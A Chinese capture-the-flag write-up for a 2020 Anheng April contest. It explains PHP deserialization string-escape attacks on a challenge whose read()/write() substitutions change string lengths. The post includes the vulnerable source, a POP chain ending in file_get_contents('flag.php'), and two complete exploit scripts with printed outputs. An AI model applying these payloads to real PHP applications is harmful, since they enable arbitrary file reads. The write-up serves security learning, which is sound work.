2020安恒4月月赛的一道反序列化字符串逃逸
题目分析
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } }
class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){ echo file_get_contents($this->c); return 'nice'; } }
$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));
|
首先class B和C是一个简单的pop链,很容易构造出
1 2 3 4 5 6 7 8 9 10 11 12 13
| class B{ function __construct() { $this-> b = new C(); } } class C{ function __construct() { $this-> c = "flag.php"; } } $b=new B(); echo serialize($b);
|
我们只要想办法将输出O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
进行反序列化即可
前面我们还说过php的2个特性
1 2
| 1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 2.对类中不存在的属性也会进行反序列化
|
居然类中不存在属性也会被反序列化我们这样测试
echo serialize(new A("st4ck", "123qwe"));
发现输出了O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";s:6:"123qwe";}
我们需要把O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
并入上面的代码
即
O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
从代码的角度看就是
1 2
| $b=new B(); $user=new User("st4ck",$b);
|
那我们就写出来了对不对
但是这个反序列化的字符串并不是我们输入的,而是通过get传入
1 2
| $a = new A($_GET['a'],$_GET['b']); $b = unserialize(read(write(serialize($a))));
|
如此一来,我们就不能通过这样的方法了
逃逸姿势
字符逃逸的精髓
1
| 如果长度变长,那么我们就是在前面一项添加数据,如果长度变小,那么我们在后面一项添加数据
|
这里如果给了read()和write()2个函数的话,那么肯定也会有两种payload,但是因为这里的是$b = unserialize(read(write(serialize($a))));
如果利用了write会直接被read还原,但是理论上如果只用write函数即$b = unserialize(write(serialize($a)));
,我们就可以在username上添加shellcode实现。而使用两个嵌套我们必须使用外层的方法,也正是因为里面的未调用,只调用了外面的导致长度变化
payload-利用read()函数-后一项添加数据
我们假设先利用read()函数,我们发现read函数将6个字符变成了3个字符str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
,那么如此我们就是要将需要反序列化的数据丢第二项后面,当第一项长度减小时候,相当于吞并了第二项,导致我们需要反序列化的数据成功反序列化,
如果要吞并即使将S1=O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";s:6:"123qwe";}
后面多加一个属
性那么我们要吞并S2=";s:8:"password";s:6:"
然后shellcode后面要有完整的数据S3=";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
将变成我们要做的是
即O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
那么理论上是ok的了
现在涉及到
我们发现要吞并的S2(";s:8:"password";s:6:"
)长度为22,但是我们真实环境不是这样的
问题1、我们的s1是通过serialize(new A("st4ck", "123qwe"));
完成,如果我们添加了很多shellcode在password里面,那么S1中password的长度就不是个位数,比如是20那么S2=";s:8:"password";s:20:"
,这样就是S2长度就是22+1
问题2、我们通过read函数来减少用户名,read函数没经过一次是减小3个字节,那么我们一定要是3个倍数,我们可以去3*8=24,经过8次往前缩进了24个字符,我们可以在S3前面增加一个A,因为S3前面的的数据最后是合并在用户名里的,刚好做补充,8次即24个\0
,注意转码
那么我们可以构造通过read()函数写payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){
return $this->c; } }
class A { public $username; public $password;
public function __construct($username, $password){ $this->username = $username; $this->password = $password; }
} function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); } $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = "A"; $payload = '";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}'; $shellcode=$password.$payload; echo serialize(new A($username, $shellcode)); echo "\n"; echo read(write(serialize(new A($username, $shellcode)))); echo "\n"; unserialize(read(write(serialize(new A($username, $shellcode)))));
|
输出
1 2 3
| O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";} O:1:"A":2:{s:8:"username";s:48:" * * * * * * * * ";s:8:"password";s:73:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";} aflag.php
|
因为\0是不可见,下面的**中间可能有的环境下看起来没有东西,这里为了方便改写了输出flag,但是payload是一样的
其实看输出我们就能发现username吸收了一部分payload导致我们成功注入的内涵
如果只用了write()函数-在前一项添加数据
偏移我动态调整了(真鸡儿和栈溢出算位移差不多)
只用write的意思是反序列化的时候unserialize(write(serialize(new A($shellcode, $password))));
其实难度就是来计算一下偏移了,计算方法,我们的shellcode$payload = '";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}'
长度为72,那么我们要24组chr(0) . '*' . chr(0)
即24组\0*\0\0*\0\0*\0
,因为我们是覆盖username,那么password可以随意填
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){ return $this->c; } }
class A { public $username; public $password;
public function __construct($username, $password){ $this->username = $username; $this->password = $password; }
}
function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
$username = "\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0"; $password = "A"; $payload = '";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}'; $shellcode=$username.$payload; echo serialize(new A($shellcode, $password)); echo "\n"; echo write(serialize(new A($shellcode, $password))); echo "\n"; unserialize(write(serialize(new A($shellcode, $password))));
|
输出
1 2 3
| O:1:"A":2:{s:8:"username";s:144:"************************";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:6:"123123";} O:1:"A":2:{s:8:"username";s:144:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:6:"123123";} aflag.php
|
总结
感觉安全的各种知识都是相通的,xss,sql注入,栈溢出,pwn找gadget都有差不多的内涵
学习,学的是学习能力